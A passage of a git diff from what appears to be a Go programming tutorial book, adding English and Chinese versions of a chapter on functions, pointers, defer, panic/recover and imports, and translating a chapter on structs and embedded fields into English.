`add1` adds one to `a`, the value of `x` doesn't change. + +The reason is very simple: when we called `add1`, we gave a copy of `x` to it, not the `x` itself. + +Now you may ask how I can pass the real `x` to the function. + +We need use pointers here. We know variables are stored in memory and that they all have memory addresses. So, if we want to change the value of a variable, we must change the value at that variable's memory address. Therefore the function `add1` has to know the memory address of `x` in order to change its value. Here we pass `&x` to the function, and change the argument's type to the pointer type `*int`. Be aware that we pass a copy of the pointer, not copy of value. + + package main + import "fmt" + + // simple function to add 1 to a + func add1(a *int) int { + *a = *a+1 // we changed value of a + return *a // return new value of a + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // should print "x = 3" + + x1 := add1(&x) // call add1(&x) pass memory address of x + + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 4" + } + +Now we can change the value of `x` in the functions. Why do we use pointers? What are the advantages? + +- Allows us to use more functions to operate on one variable. +- Low cost by passing memory addresses (8 bytes), copy is not an efficient way, both in terms of time and space, to pass variables. +- `string`, `slice`, `map` are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of `slice`, you have to pass pointers explicitly) + +### defer + +Go has a well designed keyword called `defer`. You can have many `defer` statements in one function; they will execute in reverse order when the program executes to the end of functions. In the case where the program opens some resource files, these files would have to be closed before the function can return with errors. Let's see some examples. + + func ReadWrite() bool { + file.Open("file") + // Do some work + if failureX { + file.Close() + return false + } + + if failureY { + file.Close() + return false + } + + file.Close() + return true + } + +We saw some code being repeated several times. `defer` solves this problem very well. It doesn't only help you to write clean code but also makes your code more readable. + + func ReadWrite() bool { + file.Open("file") + defer file.Close() + if failureX { + return false + } + if failureY { + return false + } + return true + } + +If there are more than one `defer`s, they will execute by reverse order. The following example will print `4 3 2 1 0`. + + for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) + } + +### Functions as values and types + +Functions are also variables in Go, we can use `type` to define them. Functions that have the same signature can be seen as the same type. + + type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) + +What's the advantage of this feature? The answer is that it allows us to pass functions as values. + + package main + import "fmt" + + type testInt func(int) bool // define a function type of variable + + func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true + } + + func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false + } + + // pass the function `f` as an argument to another function + + func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result + } + + func main(){ + slice := []int {1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // use function as values + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) + fmt.Println("Even elements of slice are: ", even) + } + +It's very useful when we use interfaces. As you can see `testInt` is a variable that has function type, and return values and arguments of `filter` are the same as `testInt`. Therefore, we can have complex logic in our programs, while maintaining flexibility in our code. + +### Panic and Recover + +Go doesn't have `try-catch` structure like Java does. Instead of throwing exceptions, Go uses `panic` and `recover` to deal with errors. However, you shouldn't use `panic` very much, although it's powerful. + +Panic is a built-in function to break the normal flow of programs and get into panic status. When a function `F` calls `panic`, `F` will not continue executing but its `defer` functions will continue to execute. Then `F` goes back to the break point which caused the panic status. The program will not terminate until all of these functions return with panic to the first level of that `goroutine`. `panic` can be produced by calling `panic` in the program, and some errors also cause `panic` like array access out of bounds errors. + +Recover is a built-in function to recover `goroutine`s from panic status. Calling `recover` in `defer` functions is useful because normal functions will not be executed when the program is in the panic status. It catches `panic` values if the program is in the panic status, and it gets `nil` if the program is not in panic status. + +The following example shows how to use `panic`. + + var user = os.Getenv("USER") + + func init() { + if user == "" { + panic("no value for $USER") + } + } + +The following example shows how to check `panic`. + + func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + b = true + } + }() + f() // if f causes panic, it will recover + return + } + +### `main` function and `init` function + +Go has two retentions which are called `main` and `init`, where `init` can be used in all packages and `main` can only be used in the `main` package. These two functions are not able to have arguments or return values. Even though we can write many `init` functions in one package, I strongly recommend writing only one `init` function for each package. + +Go programs will call `init()` and `main()` automatically, so you don't need to call them by yourself. For every package, the `init` function is optional, but `package main` has one and only one `main` function. + +Programs initialize and begin execution from the `main` package. If the `main` package imports other packages, they will be imported in the compile time. If one package is imported many times, it will be only compiled once. After importing packages, programs will initialize the constants and variables within the imported packages, then execute the `init` function if it exists, and so on. After all the other packages are initialized, programs will initialize constants and variables in the `main` package, then execute the `init` function inside the package if it exists. The following figure shows the process. + +![](images/2.3.init.png?raw=true) + +Figure 2.6 Flow of programs initialization in Go + +### import + +We use `import` very often in Go programs as follows. + + import( + "fmt" + ) + +Then we use functions in that package as follows. + + fmt.Println("hello world") + +`fmt` is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways. + +1. Relative path + import "./model" // load package in the same directory, I don't recommend this way. +2. Absolute path + import "shorturl/model" // load package in path "$GOPATH/pkg/shorturl/model" + +There are some special operators when we import packages, and beginners are always confused by these operators. + +1. Dot operator. + Sometime we see people use following way to import packages. + + import( + . "fmt" + ) + + The dot operator means you can omit the package name when you call functions inside of that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`. +2. Alias operation. + It changes the name of the package that we imported when we call functions that belong to that package. + + import( + f "fmt" + ) + + Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`. +3. `_` operator. + This is the operator that is difficult to understand without someone explaining it to you. + + import ( + "database/sql" + _ "github.com/ziutek/mymysql/godrv" + ) + + The `_` operator actually means we just want to import that package and execute its `init` function, and we are not sure if want to use the functions belonging to that package. + +## Links + +- [Directory](preface.md) +- Previous section: [Go foundation](02.2.md) +- Next section: [struct](02.4.md) diff --git a/en/02.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/02.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..551ccf94 --- /dev/null +++ b/en/02.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,520 @@ +# 2.3 流程和函数 +这小节我们要介绍Go里面的流程控制以及函数操作。 +## 流程控制 +流程控制在编程语言中是最伟大的发明了,因为有了它,你可以通过很简单的流程描述来表达很复杂的逻辑。Go中流程控制分三大类:条件判断,循环控制和无条件跳转。 +### if +`if`也许是各种编程语言中最常见的了,它的语法概括起来就是:如果满足条件就做某事,否则做另一件事。 + +Go里面`if`条件判断语句中不需要括号,如下代码所示 + + if x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + +Go的`if`还有一个强大的地方就是条件判断语句里面允许声明一个变量,这个变量的作用域只能在该条件逻辑块内,其他地方就不起作用了,如下所示 + + // 计算获取值x,然后根据x返回的大小,判断是否大于10。 + if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + //这个地方如果这样调用就编译出错了,因为x是条件里面的变量 + fmt.Println(x) + +多个条件的时候如下所示: + + if integer == 3 { + fmt.Println("The integer is equal to 3") + } else if integer < 3 { + fmt.Println("The integer is less than 3") + } else { + fmt.Println("The integer is greater than 3") + } + +### goto + +Go有`goto`语句——请明智地使用它。用`goto`跳转到必须在当前函数内定义的标签。例如假设这样一个循环: + + func myFunc() { + i := 0 + Here: //这行的第一个词,以冒号结束作为标签 + println(i) + i++ + goto Here //跳转到Here去 + } + +>标签名是大小写敏感的。 + +### for +Go里面最强大的一个控制逻辑就是`for`,它即可以用来循环读取数据,又可以当作`while`来控制逻辑,还能迭代操作。它的语法如下: + + for expression1; expression2; expression3 { + //... + } + +`expression1`、`expression2`和`expression3`都是表达式,其中`expression1`和`expression3`是变量声明或者函数调用返回值之类的,`expression2`是用来条件判断,`expression1`在循环开始之前调用,`expression3`在每轮循环结束之时调用。 + +一个例子比上面讲那么多更有用,那么我们看看下面的例子吧: + + package main + import "fmt" + + func main(){ + sum := 0; + for index:=0; index < 10 ; index++ { + sum += index + } + fmt.Println("sum is equal to ", sum) + } + // 输出:sum is equal to 45 + +有些时候需要进行多个赋值操作,由于Go里面没有`,`操作符,那么可以使用平行赋值`i, j = i+1, j-1` + + +有些时候如果我们忽略`expression1`和`expression3`: + + sum := 1 + for ; sum < 1000; { + sum += sum + } + +其中`;`也可以省略,那么就变成如下的代码了,是不是似曾相识?对,这就是`while`的功能。 + + sum := 1 + for sum < 1000 { + sum += sum + } + +在循环里面有两个关键操作`break`和`continue` ,`break`操作是跳出当前循环,`continue`是跳过本次循环。当嵌套过深的时候,`break`可以配合标签使用,即跳转至标签所指定的位置,详细参考如下例子: + + for index := 10; index>0; index-- { + if index == 5{ + break // 或者continue + } + fmt.Println(index) + } + // break打印出来10、9、8、7、6 + // continue打印出来10、9、8、7、6、4、3、2、1 + +`break`和`continue`还可以跟着标号,用来跳到多重循环中的外层循环 + +`for`配合`range`可以用于读取`slice`和`map`的数据: + + for k,v:=range map { + fmt.Println("map's key:",k) + fmt.Println("map's val:",v) + } + +由于 Go 支持 “多值返回”, 而对于“声明而未被调用”的变量, 编译器会报错, 在这种情况下, 可以使用`_`来丢弃不需要的返回值 +例如 + + for _, v := range map{ + fmt.Println("map's val:", v) + } + + +### switch +有些时候你需要写很多的`if-else`来实现一些逻辑处理,这个时候代码看上去就很丑很冗长,而且也不易于以后的维护,这个时候`switch`就能很好的解决这个问题。它的语法如下 + + switch sExpr { + case expr1: + some instructions + case expr2: + some other instructions + case expr3: + some other instructions + default: + other code + } + +`sExpr`和`expr1`、`expr2`、`expr3`的类型必须一致。Go的`switch`非常灵活,表达式不必是常量或整数,执行的过程从上至下,直到找到匹配项;而如果`switch`没有表达式,它会匹配`true`。 + + i := 10 + switch i { + case 1: + fmt.Println("i is equal to 1") + case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") + case 10: + fmt.Println("i is equal to 10") + default: + fmt.Println("All I know is that i is an integer") + } + +在第5行中,我们把很多值聚合在了一个`case`里面,同时,Go里面`switch`默认相当于每个`case`最后带有`break`,匹配成功后不会自动向下执行其他case,而是跳出整个`switch`, 但是可以使用`fallthrough`强制执行后面的case代码。 + + integer := 6 + switch integer { + case 4: + fmt.Println("The integer was <= 4") + fallthrough + case 5: + fmt.Println("The integer was <= 5") + fallthrough + case 6: + fmt.Println("The integer was <= 6") + fallthrough + case 7: + fmt.Println("The integer was <= 7") + fallthrough + case 8: + fmt.Println("The integer was <= 8") + fallthrough + default: + fmt.Println("default case") + } + +上面的程序将输出 + + The integer was <= 6 + The integer was <= 7 + The integer was <= 8 + default case + + +## 函数 +函数是Go里面的核心设计,它通过关键字`func`来声明,它的格式如下: + + func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { + //这里是处理逻辑代码 + //返回多个值 + return value1, value2 + } + +上面的代码我们看出 + +- 关键字`func`用来声明一个函数`funcName` +- 函数可以有一个或者多个参数,每个参数后面带有类型,通过`,`分隔 +- 函数可以返回多个值 +- 上面返回值声明了两个变量`output1`和`output2`,如果你不想声明也可以,直接就两个类型 +- 如果只有一个返回值且不声明返回值变量,那么你可以省略 包括返回值 的括号 +- 如果没有返回值,那么就直接省略最后的返回信息 +- 如果有返回值, 那么必须在函数的外层添加return语句 + +下面我们来看一个实际应用函数的例子(用来计算Max值) + + package main + import "fmt" + + // 返回a、b中最大值. + func max(a, b int) int { + if a > b { + return a + } + return b + } + + func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) //调用函数max(x, y) + max_xz := max(x, z) //调用函数max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 也可在这直接调用它 + } + +上面这个里面我们可以看到`max`函数有两个参数,它们的类型都是`int`,那么第一个变量的类型可以省略(即 a,b int,而非 a int, b int),默认为离它最近的类型,同理多于2个同类型的变量或者返回值。同时我们注意到它的返回值就是一个类型,这个就是省略写法。 + +### 多个返回值 +Go语言比C更先进的特性,其中一点就是函数能够返回多个值。 + +我们直接上代码看例子 + + package main + import "fmt" + + //返回 A+B 和 A*B + func SumAndProduct(A, B int) (int, int) { + return A+B, A*B + } + + func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) + } + +上面的例子我们可以看到直接返回了两个参数,当然我们也可以命名返回参数的变量,这个例子里面只是用了两个类型,我们也可以改成如下这样的定义,然后返回的时候不用带上变量名,因为直接在函数里面初始化了。但如果你的函数是导出的(首字母大写),官方建议:最好命名返回值,因为不命名返回值,虽然使得代码更加简洁了,但是会造成生成的文档可读性差。 + + func SumAndProduct(A, B int) (add int, Multiplied int) { + add = A+B + Multiplied = A*B + return + } + +### 变参 +Go函数支持变参。接受变参的函数是有着不定数量的参数的。为了做到这点,首先需要定义函数使其接受变参: + + func myfunc(arg ...int) {} +`arg ...int`告诉Go这个函数接受不定数量的参数。注意,这些参数的类型全部是`int`。在函数体中,变量`arg`是一个`int`的`slice`: + + for _, n := range arg { + fmt.Printf("And the number is: %d\n", n) + } + +### 传值与传指针 +当我们传一个参数值到被调用函数里面时,实际上是传了这个值的一份copy,当在被调用函数中修改参数值的时候,调用函数中相应实参不会发生任何变化,因为数值变化只作用在copy上。 + +为了验证我们上面的说法,我们来看一个例子 + + package main + import "fmt" + + //简单的一个函数,实现了参数+1的操作 + func add1(a int) int { + a = a+1 // 我们改变了a的值 + return a //返回一个新值 + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // 应该输出 "x = 3" + + x1 := add1(x) //调用add1(x) + + fmt.Println("x+1 = ", x1) // 应该输出"x+1 = 4" + fmt.Println("x = ", x) // 应该输出"x = 3" + } + +看到了吗?虽然我们调用了`add1`函数,并且在`add1`中执行`a = a+1`操作,但是上面例子中`x`变量的值没有发生变化 + +理由很简单:因为当我们调用`add1`的时候,`add1`接收的参数其实是`x`的copy,而不是`x`本身。 + +那你也许会问了,如果真的需要传这个`x`本身,该怎么办呢? + +这就牵扯到了所谓的指针。我们知道,变量在内存中是存放于一定地址上的,修改变量实际是修改变量地址处的内存。只有`add1`函数知道`x`变量所在的地址,才能修改`x`变量的值。所以我们需要将`x`所在地址`&x`传入函数,并将函数的参数的类型由`int`改为`*int`,即改为指针类型,才能在函数中修改`x`变量的值。此时参数仍然是按copy传递的,只是copy的是一个指针。请看下面的例子 + + package main + import "fmt" + + //简单的一个函数,实现了参数+1的操作 + func add1(a *int) int { // 请注意, + *a = *a+1 // 修改了a的值 + return *a // 返回新值 + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // 应该输出 "x = 3" + + x1 := add1(&x) // 调用 add1(&x) 传x的地址 + + fmt.Println("x+1 = ", x1) // 应该输出 "x+1 = 4" + fmt.Println("x = ", x) // 应该输出 "x = 4" + } + +这样,我们就达到了修改`x`的目的。那么到底传指针有什么好处呢? + +- 传指针使得多个函数能操作同一个对象。 +- 传指针比较轻量级 (8bytes),只是传内存地址,我们可以用指针传递体积大的结构体。如果用参数值传递的话, 在每次copy上面就会花费相对较多的系统开销(内存和时间)。所以当你要传递大的结构体的时候,用指针是一个明智的选择。 +- Go语言中`channel`,`slice`,`map`这三种类型的实现机制类似指针,所以可以直接传递,而不用取地址后传递指针。(注:若函数需改变`slice`的长度,则仍需要取地址传递指针) + +### defer +Go语言中有种不错的设计,即延迟(defer)语句,你可以在函数中添加多个defer语句。当函数执行到最后时,这些defer语句会按照逆序执行,最后该函数返回。特别是当你在进行一些打开资源的操作时,遇到错误需要提前返回,在返回前你需要关闭相应的资源,不然很容易造成资源泄露等问题。如下代码所示,我们一般写打开一个资源是这样操作的: + + func ReadWrite() bool { + file.Open("file") + // 做一些工作 + if failureX { + file.Close() + return false + } + + if failureY { + file.Close() + return false + } + + file.Close() + return true + } + +我们看到上面有很多重复的代码,Go的`defer`有效解决了这个问题。使用它后,不但代码量减少了很多,而且程序变得更优雅。在`defer`后指定的函数会在函数退出前调用。 + + func ReadWrite() bool { + file.Open("file") + defer file.Close() + if failureX { + return false + } + if failureY { + return false + } + return true + } + +如果有很多调用`defer`,那么`defer`是采用后进先出模式,所以如下代码会输出`4 3 2 1 0` + + for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) + } + +### 函数作为值、类型 + +在Go中函数也是一种变量,我们可以通过`type`来定义它,它的类型就是所有拥有相同的参数,相同的返回值的一种类型 + + type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) + +函数作为类型到底有什么好处呢?那就是可以把这个类型的函数当做值来传递,请看下面的例子 + + package main + import "fmt" + + type testInt func(int) bool // 声明了一个函数类型 + + func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true + } + + func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false + } + + // 声明的函数类型在这个地方当做了一个参数 + + func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result + } + + func main(){ + slice := []int {1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // 函数当做值来传递了 + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) // 函数当做值来传递了 + fmt.Println("Even elements of slice are: ", even) + } + +函数当做值和类型在我们写一些通用接口的时候非常有用,通过上面例子我们看到`testInt`这个类型是一个函数类型,然后两个`filter`函数的参数和返回值与`testInt`类型是一样的,但是我们可以实现很多种的逻辑,这样使得我们的程序变得非常的灵活。 + +### Panic和Recover + +Go没有像Java那样的异常机制,它不能抛出异常,而是使用了`panic`和`recover`机制。一定要记住,你应当把它作为最后的手段来使用,也就是说,你的代码中应当没有,或者很少有`panic`的东西。这是个强大的工具,请明智地使用它。那么,我们应该如何使用它呢? + +Panic +>是一个内建函数,可以中断原有的控制流程,进入一个令人恐慌的流程中。当函数`F`调用`panic`,函数F的执行被中断,但是`F`中的延迟函数会正常执行,然后F返回到调用它的地方。在调用的地方,`F`的行为就像调用了`panic`。这一过程继续向上,直到发生`panic`的`goroutine`中所有调用的函数返回,此时程序退出。恐慌可以直接调用`panic`产生。也可以由运行时错误产生,例如访问越界的数组。 + +Recover +>是一个内建的函数,可以让进入令人恐慌的流程中的`goroutine`恢复过来。`recover`仅在延迟函数中有效。在正常的执行过程中,调用`recover`会返回`nil`,并且没有其它任何效果。如果当前的`goroutine`陷入恐慌,调用`recover`可以捕获到`panic`的输入值,并且恢复正常的执行。 + +下面这个函数演示了如何在过程中使用`panic` + + var user = os.Getenv("USER") + + func init() { + if user == "" { + panic("no value for $USER") + } + } + +下面这个函数检查作为其参数的函数在执行时是否会产生`panic`: + + func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + b = true + } + }() + f() //执行函数f,如果f中出现了panic,那么就可以恢复回来 + return + } + +### `main`函数和`init`函数 + +Go里面有两个保留的函数:`init`函数(能够应用于所有的`package`)和`main`函数(只能应用于`package main`)。这两个函数在定义时不能有任何的参数和返回值。虽然一个`package`里面可以写任意多个`init`函数,但这无论是对于可读性还是以后的可维护性来说,我们都强烈建议用户在一个`package`中每个文件只写一个`init`函数。 + +Go程序会自动调用`init()`和`main()`,所以你不需要在任何地方调用这两个函数。每个`package`中的`init`函数都是可选的,但`package main`就必须包含一个`main`函数。 + +程序的初始化和执行都起始于`main`包。如果`main`包还导入了其它的包,那么就会在编译时将它们依次导入。有时一个包会被多个包同时导入,那么它只会被导入一次(例如很多包可能都会用到`fmt`包,但它只会被导入一次,因为没有必要导入多次)。当一个包被导入时,如果该包还导入了其它的包,那么会先将其它包导入进来,然后再对这些包中的包级常量和变量进行初始化,接着执行`init`函数(如果有的话),依次类推。等所有被导入的包都加载完毕了,就会开始对`main`包中的包级常量和变量进行初始化,然后执行`main`包中的`init`函数(如果存在的话),最后执行`main`函数。下图详细地解释了整个执行过程: + +![](images/2.3.init.png?raw=true) + +图2.6 main函数引入包初始化流程图 + +### import +我们在写Go代码的时候经常用到import这个命令用来导入包文件,而我们经常看到的方式参考如下: + + import( + "fmt" + ) + +然后我们代码里面可以通过如下的方式调用 + + fmt.Println("hello world") + +上面这个fmt是Go语言的标准库,其实是去`GOROOT`环境变量指定目录下去加载该模块,当然Go的import还支持如下两种方式来加载自己写的模块: + +1. 相对路径 + + import “./model” //当前文件同一目录的model目录,但是不建议这种方式来import + +2. 绝对路径 + + import “shorturl/model” //加载gopath/src/shorturl/model模块 + + +上面展示了一些import常用的几种方式,但是还有一些特殊的import,让很多新手很费解,下面我们来一一讲解一下到底是怎么一回事 + + +1. 点操作 + + 我们有时候会看到如下的方式导入包 + + import( + . "fmt" + ) + + 这个点操作的含义就是这个包导入之后在你调用这个包的函数时,你可以省略前缀的包名,也就是前面你调用的fmt.Println("hello world")可以省略的写成Println("hello world") + +2. 别名操作 + + 别名操作顾名思义我们可以把包命名成另一个我们用起来容易记忆的名字 + + import( + f "fmt" + ) + + 别名操作的话调用包函数时前缀变成了我们的前缀,即f.Println("hello world") + +3. _操作 + + 这个操作经常是让很多人费解的一个操作符,请看下面这个import + + import ( + "database/sql" + _ "github.com/ziutek/mymysql/godrv" + ) + + _操作其实是引入该包,而不直接使用包里面的函数,而是调用了该包里面的init函数。 + + +## links + * [目录]() + * 上一章: [Go基础](<02.2.md>) + * 下一节: [struct类型](<02.4.md>) diff --git a/en/02.4.md b/en/02.4.md index 1e273b10..ac01d584 100644 --- a/en/02.4.md +++ b/en/02.4.md @@ -1,213 +1,214 @@ -# 2.4 struct类型 -## struct -Go语言中,也和C或者其他语言一样,我们可以声明新的类型,作为其它类型的属性或字段的容器。例如,我们可以创建一个自定义类型`person`代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型我们称之`struct`。如下代码所示: - - type person struct { - name string - age int - } -看到了吗?声明一个struct如此简单,上面的类型包含有两个字段 -- 一个string类型的字段name,用来保存用户名称这个属性 -- 一个int类型的字段age,用来保存用户年龄这个属性 - -如何使用struct呢?请看下面的代码 - - type person struct { - name string - age int - } - - var P person // P现在就是person类型的变量了 - - P.name = "Astaxie" // 赋值"Astaxie"给P的name属性. - P.age = 25 // 赋值"25"给变量P的age属性 - fmt.Printf("The person's name is %s", P.name) // 访问P的name属性. -除了上面这种P的声明使用之外,还有另外几种声明使用方式: - -- 1.按照顺序提供初始化值 - - P := person{"Tom", 25} - -- 2.通过`field:value`的方式初始化,这样可以任意顺序 - - P := person{age:24, name:"Tom"} - -- 3.当然也可以通过`new`函数分配一个指针,此处P的类型为*person - - P := new(person) - -下面我们看一个完整的使用struct的例子 - - package main - import "fmt" - - // 声明一个新的类型 - type person struct { - name string - age int - } - - // 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差 - // struct也是传值的 - func Older(p1, p2 person) (person, int) { - if p1.age>p2.age { // 比较p1和p2这两个人的年龄 - return p1, p1.age-p2.age - } - return p2, p2.age-p1.age - } - - func main() { - var tom person - - // 赋值初始化 - tom.name, tom.age = "Tom", 18 - - // 两个字段都写清楚的初始化 - bob := person{age:25, name:"Bob"} - - // 按照struct定义顺序初始化值 - paul := person{"Paul", 43} - - tb_Older, tb_diff := Older(tom, bob) - tp_Older, tp_diff := Older(tom, paul) - bp_Older, bp_diff := Older(bob, paul) - - fmt.Printf("Of %s and %s, %s is older by %d years\n", - tom.name, bob.name, tb_Older.name, tb_diff) - - fmt.Printf("Of %s and %s, %s is older by %d years\n", - tom.name, paul.name, tp_Older.name, tp_diff) - - fmt.Printf("Of %s and %s, %s is older by %d years\n", - bob.name, paul.name, bp_Older.name, bp_diff) - } - -### struct的匿名字段 -我们上面介绍了如何定义一个struct,定义的时候是字段名与其类型一一对应,实际上Go支持只提供类型,而不写字段名的方式,也就是匿名字段,也称为嵌入字段。 - -当匿名字段是一个struct的时候,那么这个struct所拥有的全部字段都被隐式地引入了当前定义的这个struct。 - -让我们来看一个例子,让上面说的这些更具体化 - - package main - import "fmt" - - type Human struct { - name string - age int - weight int - } - - type Student struct { - Human // 匿名字段,那么默认Student就包含了Human的所有字段 - speciality string - } - - func main() { - // 我们初始化一个学生 - mark := Student{Human{"Mark", 25, 120}, "Computer Science"} - - // 我们访问相应的字段 - fmt.Println("His name is ", mark.name) - fmt.Println("His age is ", mark.age) - fmt.Println("His weight is ", mark.weight) - fmt.Println("His speciality is ", mark.speciality) - // 修改对应的备注信息 - mark.speciality = "AI" - fmt.Println("Mark changed his speciality") - fmt.Println("His speciality is ", mark.speciality) - // 修改他的年龄信息 - fmt.Println("Mark become old") - mark.age = 46 - fmt.Println("His age is", mark.age) - // 修改他的体重信息 - fmt.Println("Mark is not an athlet anymore") - mark.weight += 60 - fmt.Println("His weight is", mark.weight) - } - -图例如下: - -![](images/2.4.student_struct.png?raw=true) - -图2.7 struct组合,Student组合了Human struct和string基本类型 - -我们看到Student访问属性age和name的时候,就像访问自己所有用的字段一样,对,匿名字段就是这样,能够实现字段的继承。是不是很酷啊?还有比这个更酷的呢,那就是student还能访问Human这个字段作为字段名。请看下面的代码,是不是更酷了。 - - mark.Human = Human{"Marcus", 55, 220} - mark.Human.age -= 1 - -通过匿名访问和修改字段相当的有用,但是不仅仅是struct字段哦,所有的内置类型和自定义类型都是可以作为匿名字段的。请看下面的例子 - - package main - import "fmt" - - type Skills []string - - type Human struct { - name string - age int - weight int - } - - type Student struct { - Human // 匿名字段,struct - Skills // 匿名字段,自定义的类型string slice - int // 内置类型作为匿名字段 - speciality string - } - - func main() { - // 初始化学生Jane - jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} - // 现在我们来访问相应的字段 - fmt.Println("Her name is ", jane.name) - fmt.Println("Her age is ", jane.age) - fmt.Println("Her weight is ", jane.weight) - fmt.Println("Her speciality is ", jane.speciality) - // 我们来修改他的skill技能字段 - jane.Skills = []string{"anatomy"} - fmt.Println("Her skills are ", jane.Skills) - fmt.Println("She acquired two new ones ") - jane.Skills = append(jane.Skills, "physics", "golang") - fmt.Println("Her skills now are ", jane.Skills) - // 修改匿名内置类型字段 - jane.int = 3 - fmt.Println("Her preferred number is", jane.int) - } - -从上面例子我们看出来struct不仅仅能够将struct作为匿名字段、自定义类型、内置类型都可以作为匿名字段,而且可以在相应的字段上面进行函数操作(如例子中的append)。 - -这里有一个问题:如果human里面有一个字段叫做phone,而student也有一个字段叫做phone,那么该怎么办呢? - -Go里面很简单的解决了这个问题,最外层的优先访问,也就是当你通过`student.phone`访问的时候,是访问student里面的字段,而不是human里面的字段。 - -这样就允许我们去重载通过匿名字段继承的一些字段,当然如果我们想访问重载后对应匿名类型里面的字段,可以通过匿名字段名来访问。请看下面的例子 - - package main - import "fmt" - - type Human struct { - name string - age int - phone string // Human类型拥有的字段 - } - - type Employee struct { - Human // 匿名字段Human - speciality string - phone string // 雇员的phone字段 - } - - func main() { - Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} - fmt.Println("Bob's work phone is:", Bob.phone) - // 如果我们要访问Human的phone字段 - fmt.Println("Bob's personal phone is:", Bob.Human.phone) - } - - -## links - * [目录]() - * 上一章: [流程和函数](<02.3.md>) - * 下一节: [面向对象](<02.5.md>) +# 2.4 struct + +## struct + +We can define new types of containers of other properties or fields in Go just like in other programming languages. For example, we can create a type called `person` to represent a person, with fields name and age. We call this kind of type a `struct`. + + type person struct { + name string + age int + } + +Look how easy it is to define a `struct`! + +There are two fields. + +- `name` is a `string` used to store a person's name. +- `age` is a `int` used to store a person's age. + +Let's see how to use it. + + type person struct { + name string + age int + } + + var P person // p is person type + + P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p + P.age = 25 // assign 25 to field 'age' of p + fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p + +There are three more ways to define a struct. + +- Assign initial values by order + + P := person{"Tom", 25} + +- Use the format `field:value` to initialize the struct without order + + P := person{age:24, name:"Bob"} + +- Define an anonymous struct, then initialize it + + P := struct{name string; age int}{"Amy",18} + +Let's see a complete example. + + package main + import "fmt" + + // define a new type + type person struct { + name string + age int + } + + // compare the age of two people, then return the older person and differences of age + // struct is passed by value + func Older(p1, p2 person) (person, int) { + if p1.age>p2.age { + return p1, p1.age-p2.age + } + return p2, p2.age-p1.age + } + + func main() { + var tom person + + // initialization + tom.name, tom.age = "Tom", 18 + + // initialize two values by format "field:value" + bob := person{age:25, name:"Bob"} + + // initialize two values with order + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) + } + +### embedded fields in struct + +I've just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but with types. We call these embedded fields. + +When the embedded field is a struct, all the fields in that struct will implicitly be the fields in the struct in which it has been embdedded. + +Let's see one example. + + package main + import "fmt" + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // embedded field, it means Student struct includes all fields that Human has. + speciality string + } + + func main() { + // initialize a student + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // access fields + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His speciality is ", mark.speciality) + // modify notes + mark.speciality = "AI" + fmt.Println("Mark changed his speciality") + fmt.Println("His speciality is ", mark.speciality) + // modify age + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // modify weight + fmt.Println("Mark is not an athlet anymore") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) + } + 